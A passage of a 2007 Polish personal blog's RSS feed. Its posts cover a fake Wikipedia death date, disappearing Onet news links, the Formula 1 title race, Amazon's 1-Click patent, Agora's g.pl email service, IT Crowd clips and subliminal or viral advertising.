z&nbsp;Czytelnikami w&nbsp;powszechnie podziwianym dworze Bella Vita (patrz internet,
foto i&nbsp;tekst). Że nadal żyję przekonywująco świadczy fakt o&nbsp;mojej
intensywnej pracy nad nową powieścią „Słoń z kości słoniowej” na co mogę
przedstawić świadków. Pozdrawiam z&nbsp;M.P.Mokotów Dolny.
<br />
Zgłoszono: Aleksander Rowiński, 13:24, 26 paź 2007 (CEST)
</p>
</blockquote>

<p>
Faktycznie, anonimowy redaktor tworzący artykuł w&nbsp;Wikipedii wprowadził
fikcyjną datę śmierci, co można sprawdzić <a
href="http://pl.wikipedia.org/w/index.php?title=Aleksander_Rowi%C5%84ski&amp;oldid=9051942">w&nbsp;archiwum</a>.
Błąd oczywiście został niezwłocznie naprawiony, a&nbsp;Panu Andrzejowi
gratuluję dobrego humoru!
</p>
<p>
<small>
Tytuł posta zapożyczony od <a
href="http://pl.wikiquote.org/wiki/Mark_Twain">Marka Twaina</a>.
</small>
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/wikipedia</category>
   <pubDate>Fri, 26 Oct 2007 20:26 GMT</pubDate>
</item>
<item>
   <title>Niektóre wiadomości z Onetu wyparowują</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/wikipedia/onet_lamerzy</guid>
   <link>http://wanted.eu.org/pl/komputery/wikipedia/onet_lamerzy</link>
   <description><![CDATA[
<p>
Wygląda na to, że albo Onet ma problemy ze swoją bazą danych, albo niektóre
wiadomości z&nbsp;innych dziwnych powodów po prostu znikają z&nbsp;archiwum. Na
problem natknąłem się w&nbsp;artykule z&nbsp;Wikipedii na temat
<a
href="http://pl.wikipedia.org/w/index.php?title=Lech_Wa%C5%82%C4%99sa&diff=9995438&oldid=9986534">
Lecha Wałęsy</a>, gdzie oba linki prowadzące do serwisu
<code>wiadomosci.onet.pl</code> przestały działać. Onet wyświetla tylko
tekst „Przepraszamy, ale takiej strony tu nie ma.”
</p>

<p>
Z&nbsp;punktu widzenia redaktora Wikipedii, poprawne uźródłowienie artykułu jest
jednym z&nbsp;podstawowych kryteriów jego jakości. W&nbsp;przypadku źródeł
internetowych kluczowym zagadnieniem jest stałość URL-i. Już w&nbsp;1998 roku Tim
Berners-Lee, twórca WWW, napisał świetny artykuł pt. „<a
href="http://www.w3.org/Provider/Style/URI">Cool URIs don't change</a>”
(„Fajne URI się nie zmieniają”). Niestety redaktorzy wielu serwisów
newsowych, w&nbsp;tym Onetu, mają tę zasadę w&nbsp;głębokim poważaniu. Często
zmieniany jest schemat URL-i czy kasowane są archiwalne artykuły.
Przykładowo: <a href="http://wiadomosci.onet.pl/1609582,69,item.html">link
do wiadomości z&nbsp;21.09.2007</a>, to samo w&nbsp;<a
href="http://209.85.135.104/search?q=cache:xxQ4bAs3s-cJ:wiadomosci.onet.pl/1609582,69,item.html">Google
Cache</a>. Więcej przykładów można znaleźć wpisując w&nbsp;wyszukiwarce Google
takie wyrażenie: [<a
href="http://www.google.pl/search?hl=pl&q=site%3Awiadomosci.onet.pl+inurl%3Aitem">site:wiadomosci.onet.pl
inurl:item</a>] albo sprawdzając bezpośrednio w&nbsp;<a
href="http://pl.wikipedia.org/w/index.php?title=Special%3ASearch&amp;search=%22wiadomosci.onet.pl%22">wikipediowej
wyszukiwarce</a>.
</p>
<p>
W&nbsp;tej sytuacji wypadałoby przejrzeć inne artykuły w&nbsp;Wikipedii i&nbsp;poszukać
innych martwych linków do Onetu. W&nbsp;większości wypadków można je łatwo
zastąpić linkami do innych serwisów, niemniej jest to praca syzyfowa – do
czasu kolejnej reorganizacji.
</p>
<p>
Piętno dla Onetu za dziury w&nbsp;bazie danych.
</p>
<p>
Aktualizacja: po zasygnalizowaniu problemu na liście dyskusyjnej
wikipedystów wojtekk wysunął <a
href="http://lists.wikimedia.org/pipermail/wikipl-l/2007-October/025016.html">hipotezę</a>,
że problem martwych linków dotyczy tylko artykułów pochodzących z&nbsp;<a
href="http://www.pap.com.pl/">PAP-u</a>. Umowa licencyjna podpisywana
z&nbsp;niektórymi wydawcami ogranicza czas prezentowania archiwalnych artykułów
do 30 dni. Wygląda na to, że faktycznie artykuły PAP-owskie znikają z&nbsp;bazy
Onetu po 30 dniach. W&nbsp;związku z&nbsp;tym należałoby moim zdaniem
wyświetlać bardziej opisowy komunikat niż „takiej strony nie ma”.
Dla wikipedystów oznacza to konieczność bacznego sprawdzania źródeł
i&nbsp;unikania onetowych artykułów pochodzących z&nbsp;PAP-u.
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/wikipedia</category>
   <pubDate>Thu, 25 Oct 2007 21:09 GMT</pubDate>
</item>
<item>
   <title>Końcowe odliczanie</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/to_lubie/sport/koncowe_odliczanie</guid>
   <link>http://wanted.eu.org/pl/to_lubie/sport/koncowe_odliczanie</link>
   <description><![CDATA[
<p>
Już jutro będzie miała miejsce ostateczna rozgrywka sezonu 2007 Formuły&nbsp;1.
Ciekawe któremu z&nbsp;trzech pretendentów do tytułu mistrzowskiego będzie
sprzyjać szczęście&hellip;
</p>

<p>
Niezwykły zbieg okoliczności mógłby spowodować, że wszyscy trzej ukończyliby
mistrzostwa z&nbsp;takim samym dorobkiem punktowym, wystarczy że Räikkönen
zająłby miejsce 2., Alonso – 4., Hamilton – 8. Wszyscy mieliby po 108
punktów. Mimo to, nie byłoby trzech mistrzów <em>ex aequo</em>, bo w&nbsp;myśl
przepisów Räikkönen zdobyłby tytuł mając pięć zwycięstw w&nbsp;Grand Prix,
podczas gdy obaj kierowcy McLarena mają ich po cztery.
</p>
<p>
Gdyby założyć, że walka odbędzie się tylko między Alonso i&nbsp;Hamiltonem
istnieją cztery możliwe kombinacje miejsc w&nbsp;wyścigu na Interlagos, które
doprowadziłyby do remisu i&nbsp;-- o&nbsp;ile się nie mylę – przyznania tytułu
mistrza świata obydwu zawodnikom.
</p>
<p>
Poza Wielką Brytanią, w&nbsp;której Hamilton oczywiście robi furorę, w&nbsp;innych
krajach cieszy się mniejszą sympatią. Główną przyczyną tego faktu jest
wyraźne faworyzowanie tego zawodnika przez FIA i&nbsp;kierownictwo McLarena (obie
instytucje są wszak zdominowane przez Brytyjczyków). Dlatego ja osobiście
kibicuję Alonso, aby udało mu się powtórzyć sukces z&nbsp;poprzednich dwóch lat.
</p>
<p>
Na drugim planie będą emocje związane z&nbsp;naszym Robertem Kubicą – czy choć
raz w&nbsp;tym sezonie będzie sprzyjało mu szczęście i&nbsp;samochód nie nawali?
Dotychczasowa stabilność jego BMW pozostawia niestety wiele do życzenia.
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/to_lubie/sport</category>
   <pubDate>Sat, 20 Oct 2007 22:13 GMT</pubDate>
</item>
<item>
   <title>Jeden-klik do kosza?</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/www/jeden_klik_do_kosza</guid>
   <link>http://wanted.eu.org/pl/komputery/www/jeden_klik_do_kosza</link>
   <description><![CDATA[
<p>
Wygląda na to, że pewien odważny blogger z&nbsp;Nowej Zelandii <a
href="http://igdmlgd.blogspot.com/2007/10/amazon-one-click-patent-rejected-by-us.html">
Peter Calveley</a> wbił skutecznie gwóźdź do trumny dziesięcioletniego patentu
firmy <a href="http://www.amazon.com/">Amazon</a> pt. „<a
href="http://www.google.com/patents?id=O2YXAAAAEBAJ">1-Click
Shopping</a>”. Jest to do dzisiaj sztandarowy przykład dziurawego
i&nbsp;wybitnie utrudniającego życie mniejszym firmom systemu patentowego
Stanów Zjednoczonych.
</p>

<p>
Jak pisze <a
href="http://www.theregister.co.uk/2007/10/17/amazon_1-click_patent_ruling/print.html">
The Register</a> przedsiębiorczy Nowozelandczyk, który nie jest nawet
prawnikiem, podważył zasadność przyznania tego patentu w&nbsp;<acronym
title="United States Patent and Trademark Office">USPTO</acronym>. Brak
faktycznej innowacji patentu był dla większości osób znających nieco głębiej
technikalia WWW zupełnie oczywisty od dawna. Niemniej, nikt do tej pory nie
powalczył skutecznie o&nbsp;podważenie jego sensu w&nbsp;myśl procedur USPTO. Aby
patent był ważny w&nbsp;USA, nie może istnieć tzw. <em>prior art</em>, czyli
starszy przykład wykorzystania tego samego pomysłu. Innymi słowy wynalazek
musi być oryginalny.
</p>
<p>
Postępując zgodnie z&nbsp;procedurą, Peter Calveley znalazł zatem wcześniejsze
przykłady wykorzystania technik opisanych w&nbsp;patencie jako „wynalazki”
Amazon. Posłużył się w&nbsp;tym celu wcześniejszymi patentami z&nbsp;lat 1994 i&nbsp;1996
na bardzo podobne idee, które tym samym nie mogły być pomysłem Amazona.
Ponadto, jeden z&nbsp;redaktorów Newsweeka napisał w&nbsp;1995 roku artykuł pt. „The
End of Money?”, w&nbsp;którym dokładnie opisał sposób działania zakupów
internetowych przy użyciu pojedynczego kliknięcia. Dzięki tym przykładom
<em>prior art</em> USPTO odrzuciło 21 z&nbsp;26 zastrzeżeń patentowych
(<em>claims</em>), a&nbsp;status pozostałych nie jest jeszcze przesądzony.
</p>
<p>
Patentowym trollom mówię jedno: niech im ziemia lekką będzie :-)
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/www</category>
   <pubDate>Wed, 17 Oct 2007 17:41 GMT</pubDate>
</item>
<item>
   <title>&amp;quot;G&amp;quot; od Agory?</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/www/g_od_agory</guid>
   <link>http://wanted.eu.org/pl/komputery/www/g_od_agory</link>
   <description><![CDATA[
<p>
<a href="http://pl.wikipedia.org/wiki/Agora_SA">Agora</a> (wydawca Gazety
Wyborczej) uruchomiła niedawno nowy serwis: <a href="http://g.pl/">g.pl</a>.
Jego użyteczność jest dla mnie raczej wątpliwa, bo to kolejna strona
przeładowana obrazkami i&nbsp;plotkami w&nbsp;stylu brukowców, ale ciekawą nowością
jest integracja g.pl z&nbsp;usługą <a href="http://www.google.com/a/">Google
Apps</a>. Dzięki temu użytkownicy mogą założyć sobie e-maila w&nbsp;atrakcyjnej,
jednoliterowej domenie otrzymując znany i&nbsp;lubiany interfejs Gmaila o&nbsp;dużej
pojemności skrzynki.
</p>

<p>
Krótki adres i&nbsp;loginy umożliwia tworzenie ciekawych kombinacji. Np. gdyby
uznać „@” jako odpowiednik „a”, to można założyć sobie e-mail szl@g.pl
z&nbsp;zakamuflowanym słowem „szlag” (ten akurat tak mi się spodobał, że sobie
zarezerwowałem :-)). Analiza słownika pokazuje jeszcze parę innych
kandydatów na ciekawe i&nbsp;krótkie adresy e-mailowe:
</p>
<div class="codex">
<pre>
$ egrep '^...?ag$' /usr/share/dict/polish | xargs
GUŁag alpag blag drag flag gułag klag knag kwag oflag plag posag powag szlag
sztag uwag zgag łamag
</pre>
</div>
<p>
Należy wspomnieć, że domena krajowa .pl jest swego rodzaju ewenementem.
Większość rejestratorów <acronym title="Top Level Domain">TLD</acronym>
wymaga obecnie co najmniej trzyznakowych subdomen. NASK był dość liberalny,
co z&nbsp;jednej strony stawia w&nbsp;dość uprzywilejowanej pozycji
<span class="strike">cybersquatterów</span> szczęśliwców, którzy zdobyli
krótkie domeny z&nbsp;ograniczonej puli, z&nbsp;drugiej strony umożliwia sensowniejsze
nadawanie nazw jeśli są faktycznie potrzebne. Trudno sobie wyobrazić dzisiaj
aby <a href="http://wp.pl/">Wirtualna Polska</a> działała tylko pod adresem
„w-p.pl” czy „wirtualnapolska.pl”.
</p>
<p>
Domena g.pl, podobnie jak inne jednoznakowe, szybko znalazła pierwszego
właściciela; <a href="http://web.archive.org/web/*/http://g.pl">według
archive.org</a> była aktywna co najmniej od listopada 1999. Co ciekawe,
właścicielem domeny od jej powstania aż do połowy 2007 roku była ta sama
firma: <a href="http://www.gamma.com.pl/">Gamma Promotion</a>. Zawartość
strony podlegała kilku rewolucjom i&nbsp;wydaje się, że co najmniej przez kilka
lat działał tam rzeczywisty serwis oferujący konta pocztowe (a&nbsp;nie na
przykład strona zapchana reklamami, co często ma miejsce w&nbsp;przypadku domen
kupowanych dla cybersquattingu). Nie jest jasne jakie były losy domeny
w&nbsp;ostatnich miesiącach aż do momentu przejęcia przez Agorę; transakcja
musiała niewątpliwie dotyczyć sporej kwoty.
</p>
<p>
Jak być może nie wszyscy wiedzą, z&nbsp;Google Apps może skorzystać każdy
posiadacz własnej domeny. Możemy w&nbsp;ramach swojej domeny uruchomić pocztę
Gmail, kalendarz, aplikacje biurowe, hosting stron WWW. Do wielu zastosowań
małych firm czy osób prywatnych są to usługi wystarczające i&nbsp;co przyjemne –
darmowe. Poczta Agory nie jest więc tutaj jakimś specjalnym wyjątkiem, choć
obie strony musiały najpierw zawrzeć jakąś umowę w&nbsp;związku z&nbsp;przekraczającym
darmowe limity zainteresowaniem usługą.
</p>
<p>
Agora wykorzystuje tutaj jeszcze jeden produkt Google – <a
href="http://partnerpage.google.com/g.pl">iGoogle</a>. Użytkownicy g.pl mogą
spersonalizować sobie stronę startową, choć to samo oferuje też
<a href="http://www.google.com/ig">oficjalna wersja</a> iGoogle. Szkoda
tylko, że już zabrakło energii na sprawdzenie fatalnego byka na stronie
zakładania konta. Na przetwa<strong>ż</strong>anie lepiej się nie godzić :-)
</p>

<div class="i" style="width: 397px">
<a href="/i/_misc/agora.png" onclick="return pop('/i/_misc/agora.png',763,1082,'Agora będzie „przetważać”');">
<img src="/i/_misc/m_agora.png" width="397" height="200" alt="Agora będzie „przetważać”" /></a><p>Agora będzie „przetważać”</p></div>

<br style="clear: both" />
<p>
Przy okazji nowej usługi z&nbsp;pewnym zdziwieniem zauważyłem jak wiele serwisów
ostatnio otworzyła Agora. O&nbsp;ile wcześniejsza strategia internetowa wyraźnie
skupiała się na promocji jednego adresu: gazeta.pl i&nbsp;działających w&nbsp;jego
ramach podserwisów, to obecnie widać tendencję uruchamiania serwisów
w&nbsp;osobnych domenach o&nbsp;nie zawsze mądrych nazwach. Agora chce najwyraźniej
podbić rynek młodych internautów, którym być może portal gazeta.pl
wydaje się skostniały i&nbsp;nudny. Oczywiście nowe serwisy nie oferują żadnych
rewolucji – mają formę typowych tabloidów z&nbsp;dużą ilością grafiki i&nbsp;filmów,
a&nbsp;nikłą zawartością merytoryczną i&nbsp;słabymi tekstami. Zaglądając na stronę
główną g.pl z&nbsp;łatwością zauważymy odsyłacze do takich adresów jak plotek.pl,
gwar.pl, widelec.pl, infomuzyka.pl, popcorner.pl, zczuba.pl, sport.pl.
Osobie mało zorientowanej mogłoby się wydawać że g.pl agreguje wiadomości
z&nbsp;zupełnie niezależnych serwisów, podczas gdy w&nbsp;rzeczywistości wszystkie one
są kontrolowane przez jedną spółkę. Co gorsza – zakres tematyczny serwisów
Agory niejednokrotnie się pokrywa. Prowadzi do to duplikowania treści
i&nbsp;wprowadza zamieszanie.
</p>
<p>
Oprócz walki o&nbsp;„dzieci Neostrady” możliwe, że dodatkowym celem nowej
strategii jest stworzenie wrażenia iż Agora nie ma tendencji
monopolistycznych w&nbsp;polskim Internecie. Rozdrobnienie gazeta.pl na wiele
serwisów nie firmowanych na pierwszy rzut oka przez Agorę jest środkiem do
osiągnięcia tego celu. Wiele domen <a
href="http://www.robtex.com/dns/agora.pl.html">czeka w&nbsp;zanadrzu</a>,
niektóre o&nbsp;tak głupich nazwach jak pstryks.net czy toitamto.net. Pewnie
kiedyś doczekają się premiery kolejnego serwisu o&nbsp;wszystkim i&nbsp;o&nbsp;niczym.
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/www</category>
   <pubDate>Sat, 13 Oct 2007 22:38 GMT</pubDate>
</item>
<item>
   <title>Google i piractwo (IT Crowd)</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/to_lubie/film/google_i_piractwo_it_crowd</guid>
   <link>http://wanted.eu.org/pl/to_lubie/film/google_i_piractwo_it_crowd</link>
   <description><![CDATA[
<p>
Trwa właśnie drugi sezon kultowego serialu wyświetlanego w&nbsp;brytyjskiej
telewizji Channel&nbsp;4 – <a
href="http://pl.wikipedia.org/wiki/Technicy-magicy">The IT Crowd</a>
(w&nbsp;Polsce znanego też pod tłumaczeniem „Technicy-magicy”).
Nie mieszkając na Wyspach Brytyjskich trzeba niestety radzić sobie innymi
sposobami (*hmmm*) aby oglądać najnowsze odcinki. Serdecznie polecam, a&nbsp;jako
zachętę przedstawiam dwie wstawki, które po prostu wymiatają.
</p>

<p>
Co stanie się gdy wpiszesz „google” w&nbsp;<a
href="http://www.google.pl/">Google</a>? Otóż możesz zepsuć Internet ;-)
</p>
<object type="application/x-shockwave-flash" width="400" height="326"
data="http://video.google.com/googleplayer.swf?docId=-2629066531715410030&amp;hl=pl">
</object>
<br style="clear: both" />
<p>
Drugi filmik to parodia antypirackich kampanii uskutecznianych ostatnio
przez organizacje pokroju MPAA czy RIAA (nota bene same one używają <a
href="http://it.slashdot.org/article.pl?sid=07/09/15/1843234">nieetycznych
metod</a> do walki z&nbsp;tzw. piractwem).
</p>
<object type="application/x-shockwave-flash" width="400" height="326"
data="http://video.google.com/googleplayer.swf?docId=-5655858512993703928&amp;hl=pl">
</object>
<br style="clear: both" />
<p>
Dla nieznających angielskiego zamieszczam moje tłumaczenie tekstów.
</p>
<p>
<em>
— Nie sądzę, że to prawda.<br />
— Z&nbsp;całym szacunkiem John, jestem szefem działu informatyki i&nbsp;mam to
z&nbsp;pewnego źródła. Jeśli wpiszecie „google” w&nbsp;Google możecie zepsuć Internet,
więc proszę nawet nie próbujcie. Nawet dla żartu. Tu nie ma nic do śmiechu,
możesz naprawdę zepsuć Internet.
</em>
</p>
<p>
Drugi klip:
</p>
<p>
<em>
Nie ukradłbyś torebki.<br />
Nie ukradłbyś samochodu.<br />
Nie ukradłbyś dziecka.<br />
Nie zastrzeliłbyś policjanta a&nbsp;następnie ukradł jego kasku.<br />
Nie załatwiłbyś się do jego kasku.<br />
A&nbsp;potem nie wysłałbyś go pogrążonej w&nbsp;żałobie żonie policjanta.<br />
I&nbsp;nie ukradłbyś go ponownie!<br />
Ściąganie filmów to kradzież. Jeśli to robisz, poniesiesz konsekwencje!
</em>
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/to_lubie/film</category>
   <pubDate>Sun, 30 Sep 2007 10:06 GMT</pubDate>
</item>
<item>
   <title>Reklama podprogowa 2</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/media/reklama/reklama_podprogrowa_2</guid>
   <link>http://wanted.eu.org/pl/media/reklama/reklama_podprogrowa_2</link>
   <description><![CDATA[
<p>
W&nbsp;<a
href="/pl/media/reklama/mcdonalds_reklama_podprogrowa_czy_wirusowa">poprzednim
wpisie</a> pisałem o&nbsp;reklamie podprogowej w&nbsp;formie pojedynczych klatek
wstawionych w&nbsp;trakcie filmu. Nie dowiedziono jakiegokolwiek wpływu takiej
formy reklamy na odbiorcę. Jednak są inne sposoby na podprogowe wywieranie
wpływu, o&nbsp;czym przekonało się dwóch pracowników angielskiej agencji reklamowej
<a href="http://www.mbaweb.net/">Maher Bird Associates</a> (beznadziejna
strona, BTW).
</p>

<p>
Poniższy film z&nbsp;czeluści YouTube wykopał mój przyjaciel, <a
href="http://rychlicki.net/2007/09/01/250">Tomek Rychlicki</a>. Polecam
obejrzenie w&nbsp;całości.
</p>
<object type="application/x-shockwave-flash" width="425" height="350"
data="http://www.youtube.com/v/WKpS1KBTzUA"></object>
<br style="clear: both" />
<p>
Pozostaje pytanie, czy przestawione wydarzenia są faktycznie prawdziwe.
Autor programu, <a href="http://pl.wikipedia.org/wiki/Derren_Brown">Derren
Brown</a>, jest znany z&nbsp;pseudonaukowych eksperymentów demonstrujących
kontrolę czyjegoś umysłu. Czy i&nbsp;ten eksperyment to fałszywka, czy też
umiejętne wywieranie wpływu na osoby, które – wydawałoby się – z&nbsp;racji
zawodu nie powinny być podatne na podprogową reklamę? Wybór należy do
Ciebie!
</p>
<p>
Poniżej bardzo podobne nagranie tego samego autora, ale wykonane
w&nbsp;amerykańskiej telewizji.
</p>
<object type="application/x-shockwave-flash" width="425" height="350"
data="http://www.youtube.com/v/f29kF1vZ62o"></object>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/media/reklama</category>
   <pubDate>Sat, 29 Sep 2007 21:08 GMT</pubDate>
</item>
<item>
   <title>McDonald&apos;s: reklama podprogowa czy wirusowa?</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/media/reklama/mcdonalds_reklama_podprogrowa_czy_wirusowa</guid>
   <link>http://wanted.eu.org/pl/media/reklama/mcdonalds_reklama_podprogrowa_czy_wirusowa</link>
   <description><![CDATA[
<p>
Sprawa dotyczy dość starego wydarzenia, niemniej tak się złożyło że
dopiero teraz się na to natknąłem. 27 stycznia 2007 roku w&nbsp;amerykańskiej
telewizji Food Network przez zaledwie jedną klatkę nagrania pojawiło się
logo McDonalda.
</p>

<p>
Sporo osób to zauważyło, a&nbsp;nagranie jest dosŧępne poniżej:
</p>
<object type="application/x-shockwave-flash"
data="http://www.collegehumor.com/moogaloop/moogaloop.swf?clip_id=1737370"
width="480" height="360">
</object>
<br style="clear: both" />
<p>
Większość komentarzy, zarówno autora nagrania jak też <a
href="http://www.google.pl/search?q=food+network+subliminal+mcdonald">licznych
wpisów</a> na blogach sugeruje, że McDonald's uprawiał <a
href="http://pl.wikipedia.org/wiki/Percepcja_podprogowa">marketing
podprogowy</a>. Wielu ludzi uważa, że wyświetlenie reklamy na bardzo krótki,
niezauważalny moment w&nbsp;podświadomy sposób wpłynie na nasze preferencje, np.
po wyjściu z&nbsp;kina. Odpowiednie przepisy prawa w&nbsp;wielu krajach zabraniają tej
formy reklamy. Faktem jest jednak, że brakuje przekonujących dowodów na to,
że percepcja podprogowa w&nbsp;ogóle działa. Często cytowane jako dowód
badanie Jamesa Vicary z&nbsp;1957 roku było <a
href="http://www.snopes.com/business/hidden/popcorn.asp">zwykłą
fałszywką</a>. Food Network wytłumaczyła to zdarzenie jako „zwykły błąd
techniczny”. Czy tak jest rzeczywiście, czy może mamy tutaj do czynienia
z&nbsp;drugim dnem, w&nbsp;postaci reklamy wirusowej? Zbyt często na „problemy
techniczne” zrzuca się winę za coś, do czego nie wypada się przyznać.
</p>
<p>
Przede wszystkim, teorię o&nbsp;reklamie podprogowej McDonalda możemy włożyć
między bajki z&nbsp;kilku powodów:
</p>
<ol>
<li>Nie wiadomo czy to zjawisko w&nbsp;ogóle działa na widza.</li>
<li>Najkrótszy możliwy czas emisji w&nbsp;TV to 1/50 sekundy, co jest na tyle
długim czasem że większość ludzi z&nbsp;łatwością zauważa nietypową klatkę
(zaprzeczenie definicji przekazu podprogowego, który powinien być
niewidoczny dla widza).</li>
<li>Byłoby to ryzykowne pakowanie się w&nbsp;duże problemy prawne, ponieważ
<acronym title="Federal Communications Commission">FCC</acronym>
zabrania w&nbsp;USA reklamy podprogowej.</li>
</ol>
<p>
A&nbsp;może to był marketing wirusowy? Celem tego działania jest zainteresowanie
widzów czymś nietypowym i&nbsp;zaprzęgnięcie ich samych do rozpropagowania
reklamy. Jest to bardzo skuteczne, tanie, ale wymaga stąpania po grząskim
gruncie. Zbyt oczywista próba złapania internautów na marketingowy haczyk
zostanie źle odebrana i&nbsp;wygeneruje sporo <a
href="http://pl.wikipedia.org/wiki/Czarny_PR">czarnego PR</a>, ku rozpaczy
zleceniodawcy.
</p>
<p>
W&nbsp;tym wypadku, marketing wirusowy – świadomy, czy też będący efektem błędu
technicznego – zadziałał nieźle. Pojawiło się w&nbsp;sieci mnóstwo artykułów,
wliczając w&nbsp;to oczywiście niniejszy, zajmujących się tematem
i&nbsp;wymieniających nazwę i&nbsp;logo McDonalda, czego dowodzi ponad 600&nbsp;000
rezultatów w&nbsp;Google na zapytanie [food network subliminal mcdonald].
Wszyscy analizują filmik po klatce i&nbsp;przelewają kilobajty tekstu
o&nbsp;McDonaldzie. Kończę zatem bo mam nieodpartą pokusę na Big Maca.
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/media/reklama</category>
   <pubDate>Thu, 20 Sep 2007 18:05 GMT</pubDate>
</item>
<item>
   <title>Vision Express OMG!</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/media/reklama/vision_express_omg</guid>
   <link>http://wanted.eu.org/pl/media/reklama/vision_express_omg</link>
   <description><![CDATA[
<p class="tr">
<small>
<a href="/en/media/ad/vision_express_omg">English version of this post</a>
</small>
</p>
<p>
Wielu już napisało o&nbsp;nowej reklamie <a href="http://www.visionexpress.pl/">
Vision Express</a>, ale nie widziałem do tej pory jej nagrania. Poprosiłem
<a
href="http://www.depesz.com/index.php/2007/09/09/31337-vision-express-super-optyk-polish-only/">
Huberta „Depesza” Lubaczewskiego</a> o&nbsp;udostępnienie nagrania z&nbsp;TV, które
zamieszczam poniżej.
</p>

<p>
Reklama robi furorę w&nbsp;środowisku internautów ze względu na dość
charakterystyczny dobór liter na tablicy okulistycznej. Są to mianowicie
znane skrótowce stosowane na wszelkiego rodzaju czatach i&nbsp;innych sytuacjach:
<acronym title="Oh My God">OMG</acronym>,
<acronym title="What The Fuck">WTF</acronym>,
<acronym title="Shut The Fuck Up">STFU</acronym>,
<acronym title="Owned">PWN3D</acronym>,
<acronym title="You Are A Noob">UR A NOOB</acronym>,
<acronym title="Laughing My Ass Off">LMAO</acronym>,
<acronym title="Rolling On The Floor (Laughing)">ROTF</acronym>,
<acronym title="OK, Thanks, Bye">KTHXBYE</acronym>,
<acronym title="(smiley)">:P</acronym>. Szacunek dla agencji medialnej,
która to wymyśliła! Pomysł pochodzi prawdopodobnie z&nbsp;projektu <a
href="http://www.cafepress.com/giftedtwisted/2124259">giftedtwisted</a>
dostępnego na cafepress.com.
</p>

<div class="i" style="width: 250px">
<a href="/i/20070913-Vision_Express/vision_express_1.jpg" onclick="return pop('/i/20070913-Vision_Express/vision_express_1.jpg',600,490,'screenshot 1');">
<img src="/i/20070913-Vision_Express/m_vision_express_1.jpg" width="250" height="204" alt="screenshot 1" /></a><p>screenshot 1</p></div>


<div class="i" style="width: 250px">
<a href="/i/20070913-Vision_Express/vision_express_2.jpg" onclick="return pop('/i/20070913-Vision_Express/vision_express_2.jpg',600,490,'screenshot 2');">
<img src="/i/20070913-Vision_Express/m_vision_express_2.jpg" width="250" height="204" alt="screenshot 2" /></a><p>screenshot 2</p></div>

<br style="clear: both" />
<p>
Otrzymanego <a href="http://en.wikipedia.org/wiki/VOB">VOB-a</a> przyciąłem,
przeprowadziłem operację <a
href="http://en.wikipedia.org/wiki/Deinterlacing">deinterlace</a>
i&nbsp;skonwertowałem na format <a
href="http://pl.wikipedia.org/wiki/OGM">OGM</a> z&nbsp;użyciem kodeków Xvid
i&nbsp;OGG Vorbis. Efekt: <a
href="http://wanted.eu.org/pub/video/Vision_Express-OMG.ogm">
Vision_Express-OMG.ogm</a> (3&nbsp;MB). W&nbsp;razie trudności z&nbsp;obejrzeniem, polecam
<a href="http://www.videolan.org/">VLC</a>. Poniżej również nagranie
zamieszczone w&nbsp;Google Video:
</p>
<object type="application/x-shockwave-flash" width="400" height="326"
data="http://video.google.com/googleplayer.swf?docId=-5484908952665626678&amp;hl=pl">
</object>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/media/reklama</category>
   <pubDate>Thu, 13 Sep 2007 17:30 GMT</pubDate>
</item>
</channel>
</rss>
